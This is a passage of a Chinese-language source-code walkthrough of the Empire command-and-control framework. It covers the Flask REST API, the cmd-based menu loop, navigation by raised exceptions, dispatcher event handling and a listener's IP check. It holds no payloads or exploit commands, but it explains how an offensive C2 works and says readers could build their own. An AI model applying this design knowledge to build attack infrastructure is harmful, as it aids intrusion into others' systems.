岔个话题,这种写法还是蛮pythonic的,直接用了random.choice函数来随机选择,而且还使用了类似列表推导的语法

之后开始的start_restful_api()函数则是使用Flask框架来注册了一堆路由,用于RESTFUL API。有人可能会好奇这玩意是做什么用的,其实在EmpireProject的github账号中已经创建了Empire GUI客户端的项目,应该是用于客户端与服务端的交互过程,或者是留了接口能够以后被第三方工具调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
####################################################################

#

# The Empire RESTful API.

#

# Adapted from http://blog.miguelgrinberg.com/post/designing-a-restful-api-with-python-and-flask

# example code at https://gist.github.com/miguelgrinberg/5614326

#

# Verb URI Action

# ---- --- ------

# GET http://localhost:1337/api/version return the current Empire version

#

# GET http://localhost:1337/api/config return the current default config


# GET http://localhost:1337/api/stagers return all current stagers

# GET http://localhost:1337/api/stagers/X return the stager with name X

# POST http://localhost:1337/api/stagers generate a stager given supplied options (need to implement)

# ...

官方已经给了很详细的注释,可以直接去读101行开始的源码,这一部分不再详细说明

从1362行来到了’main’,进入真正的逻辑,这里取了一些参数,我们只看最普通的执行情况,只有很简单的几句:

1
2
3
4
5
6
7
else:

\# normal execution

main = empire.MainMenu(args=args)

main.cmdloop()

进入了empire模块中MainMenu类的cmdloop()函数,这个empire模块才是框架比较核心的部分,之前的只是入口

进入Empire/lib/common/empire.py文件继续阅读

1
2
3
4
5
6
7
8
9
10
11
12

\# custom exceptions used for nested menu navigation

class NavMain(Exception):

"""

Custom exception class used to navigate to the 'main' menu.

"""

pass

一上来定义了几个类用于异常处理,其实这个是在菜单跳转中使用的。真正重要的是之后定义的几个大的类,MainMenu, SubMenu, AgentsMenu, AgentMenu, PowerShellAgentMenu, PythonAgentMenu, ListenersMenu, ListenerMenu, ModuleMenu, StagerMenu,下面一个一个讲

MainMenu是最核心的控制部分,程序启动后会首先进入主菜单。Empire菜单的控制逻辑其实不全是自己写的,而是继承了cmd模块中的Cmd类,这个类的详情可以看这里,简要来说的话就是提供了写命令行应用的一些很方便的特性,比如能够自定义命令和语法、整体读取命令和返回结果的循环、TAB键的语法补全,我们在MainMenu类中看到形如do_xxx的语法均为定义指令,help_xxx的语法均为定义帮助命令,complete_xxx的语法均为处理TAB补全相关

在写远控框架的时候另一个比较重要的问题是,当我们发送的命令得到Client回复时,Server如何获知这个消息。Empire在这个问题上给出的答案是使用dispatcher模块。这个模块是生产者-消费者模式的一种实现,详情可以见http://pydispatcher.sourceforge.net

1
2
3
# set up the event handling system

dispatcher.connect(self.handle_event, sender=dispatcher.Any)

77行这里指定了MainMenu的事件处理函数,这里对任何sender发出的信号都会接收并处理,我们去handle_event函数看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
def handle_event(self, signal, sender):

"""

​ Whenver an event is received from the dispatcher, log it to the DB,

​ decide whether it should be printed, and if so, print it.

​ If self.args.debug, also log all events to a file.

​ """

​ \# load up the signal so we can inspect it

try:

​ signal_data = json.loads(signal)

except ValueError:

​ print(helpers.color("[!] Error: bad signal recieved {} from sender {}".format(signal, sender)))

return

​ \# this should probably be set in the event itself but we can check

​ \# here (and for most the time difference won't matter so it's fine)

if 'timestamp' not in signal_data:

​ signal_data['timestamp'] = helpers.get_datetime()

​ \# if this is related to a task, set task_id; this is its own column in

​ \# the DB (else the column will be set to None/null)

​ task_id = None

if 'task_id' in signal_data:

​ task_id = signal_data['task_id']

if 'event_type' in signal_data:

​ event_type = signal_data['event_type']

else:

​ event_type = 'dispatched_event'

​ event_data = json.dumps({'signal': signal_data, 'sender': sender})

...

注释写的挺清楚,收到信号时会记录到Database,并根据signal中的选项决定是否打印数据,在不同的菜单中显示不同的数据类型的相关逻辑就是这样控制的,除此之外,dispatcher也是listener与主控程序的通信方式。之前提到过,empire本质上是一个web应用,这个web应用是被主控程序启动的,主控程序与web应用这种无状态应用之间其实是存在一种隔离的,empire使用dispatcher机制来突破了这种限制(我原以为会是通过数据库读写,其实并没有),既然提到这里,我们也看一眼listener的相关实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
\# lib/listeners/http_com.py

@app.before_request

def check_ip():

"""

Before every request, check if the IP address is allowed.

"""

if not self.mainMenu.agents.is_ip_allowed(request.remote_addr):

​ listenerName = self.options['Name']['Value']

​ message = "[!] {} on the blacklist/not on the whitelist requested resource".format(request.remote_addr)

​ signal = json.dumps({

'print': True,

'message': message

​ })

dispatcher.send(signal, sender="listeners/http_com/{}".format(listenerName))

return make_response(self.default_response(), 404)

其实这里价值在于观察程序的启动方式,观察菜单跳转和命令都是怎么实现的,看完这里我们完全也可以自己做一个相似的CC出来

菜单跳转这里是通过raise Exception实现的,在主菜单中永续循环读取命令,判断需要显示的菜单,如果需要跳转到agents/listeners等菜单会抛出一个异常,修改需要现实菜单的变量,主菜单捕获相应异常,根据变量值实例化一个新的菜单对象,然后再开始新的菜单对象的cmdloop()函数

第一章到此结束。先简单写一下逻辑结构,至此我们已经明确了empire的菜单实现,明确了菜单之间的跳转是怎么做到的,也明确了empire交互性良好的REPL模式命令行构建的秘密,从下一章开始我会将重点放在CC真正重要的部分。